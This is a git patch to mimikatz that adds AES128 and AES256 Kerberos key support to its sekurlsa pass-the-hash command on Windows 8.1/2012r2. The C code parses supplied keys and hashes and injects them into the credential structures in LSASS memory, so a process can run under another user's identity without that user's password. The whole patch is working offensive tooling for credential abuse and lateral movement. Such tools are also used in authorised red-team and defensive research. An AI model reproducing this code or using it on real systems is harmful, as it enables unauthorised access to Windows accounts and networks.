From c509bbfbf75883a84d56475cac4bc92b9a8350fa Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Thu, 8 May 2014 01:08:06 +0200 Subject: [PATCH] Pass-The-Hash now supports AES keys for Kerberos with Windows 8.1/2012r2 --- mimikatz/modules/sekurlsa/globals_sekurlsa.h | 2 + mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c | 39 +++++++++++++++++-- .../packages/kuhl_m_sekurlsa_kerberos.c | 34 ++++++++++++++-- modules/kull_m_crypto_system.h | 4 +- 4 files changed, 70 insertions(+), 9 deletions(-) diff --git a/mimikatz/modules/sekurlsa/globals_sekurlsa.h b/mimikatz/modules/sekurlsa/globals_sekurlsa.h index b28e9f3..8d2ea46 100644 --- a/mimikatz/modules/sekurlsa/globals_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/globals_sekurlsa.h @@ -96,5 +96,7 @@ typedef struct _SEKURLSA_PTH_DATA { PCWCHAR UserName; PCWCHAR LogonDomain; LPBYTE NtlmHash; + LPBYTE Aes256Key; + LPBYTE Aes128Key; BOOL isReplaceOk; } SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA; \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index b12c6a2..885e24a 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -422,10 +422,10 @@ NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPack NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) { - BYTE ntlm[LM_NTLM_HASH_LENGTH]; + BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; TOKEN_STATISTICS tokenStats; - SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE}; - PCWCHAR szRun, szNTLM; + SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, NULL, NULL, FALSE}; + PCWCHAR szRun, szNTLM, szAes128, szAes256; DWORD dwNeededSize; HANDLE hToken; PROCESS_INFORMATION processInfos; @@ -436,11 +436,42 @@ NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) { if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) { - if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm))) + if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH)) { kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + + if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL)) + { + if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) + { + if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH)) + { + data.Aes128Key = aes128key; + kprintf(L"AES128\t: "); + kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n"); + } + else PRINT_ERROR(L"AES128 hash length must be 32 (16 bytes)\n"); + } + else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n"); + } + + if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL)) + { + if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE) + { + if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH)) + { + data.Aes256Key = aes256key; + kprintf(L"AES256\t: "); + kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n"); + } + else PRINT_ERROR(L"AES256 hash length must be 64 (32 bytes)\n"); + } + else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n"); + } + kprintf(L"Program\t: %s\n", szRun); if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE)) { diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c index 747a208..0086326 100644 --- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c @@ -221,7 +221,8 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY { PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData; DWORD i, nbHash; - BYTE ntlmHash[LM_NTLM_HASH_LENGTH]; + BYTE ntlmHash[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; + BOOL isAes128 = FALSE, isAes256 = FALSE; UNICODE_STRING nullPasswd = {0, 0, NULL}; KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory}; PKERB_HASHPASSWORD_GENERIC pHash; @@ -239,7 +240,22 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY { RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH); if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA) + { (*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH); + if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE) + { + if(isAes128 = (pthData->Aes128Key != NULL)) + { + RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH); + (*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH); + } + if(isAes256 = (pthData->Aes256Key != NULL)) + { + RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH); + (*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH); + } + } + } RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize; i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize; @@ -254,12 +270,22 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset); kprintf(L"\n \\_ %s ", kuhl_m_kerberos_ticket_etype(pHash->Type)); - if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96)) + RemoteLocalKerbSession.address = pHash->Checksump; + resultok = L"OK"; + if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) { aLocalNTLMMemory.address = ntlmHash; - RemoteLocalKerbSession.address = pHash->Checksump; offset = LM_NTLM_HASH_LENGTH; - resultok = L"OK"; + } + else if(isAes128 && (pHash->Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Size == AES_128_KEY_LENGTH)) + { + aLocalNTLMMemory.address = aes128key; + offset = AES_128_KEY_LENGTH; + } + else if(isAes256 && (pHash->Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Size == AES_256_KEY_LENGTH)) + { + aLocalNTLMMemory.address = aes256key; + offset = AES_256_KEY_LENGTH; } else { diff --git a/modules/kull_m_crypto_system.h b/modules/kull_m_crypto_system.h index 0d1460b..d0bc8ff 100644 --- a/modules/kull_m_crypto_system.h +++ b/modules/kull_m_crypto_system.h @@ -13,6 +13,8 @@ #define DES_KEY_LENGTH 7 #define DES_BLOCK_LENGTH 8 +#define AES_128_KEY_LENGTH 16 +#define AES_256_KEY_LENGTH 32 typedef struct _MD4_CTX { DWORD state[4]; @@ -161,7 +163,7 @@ typedef struct _KERB_HASHPASSWORD_5 { typedef struct _KERB_HASHPASSWORD_6 { LSA_UNICODE_STRING salt; // http://tools.ietf.org/html/rfc3962 - PVOID stringToKey; + PVOID stringToKey; // AES Iterations (dword ?) KERB_HASHPASSWORD_GENERIC generic; } KERB_HASHPASSWORD_6, *PKERB_HASHPASSWORD_6;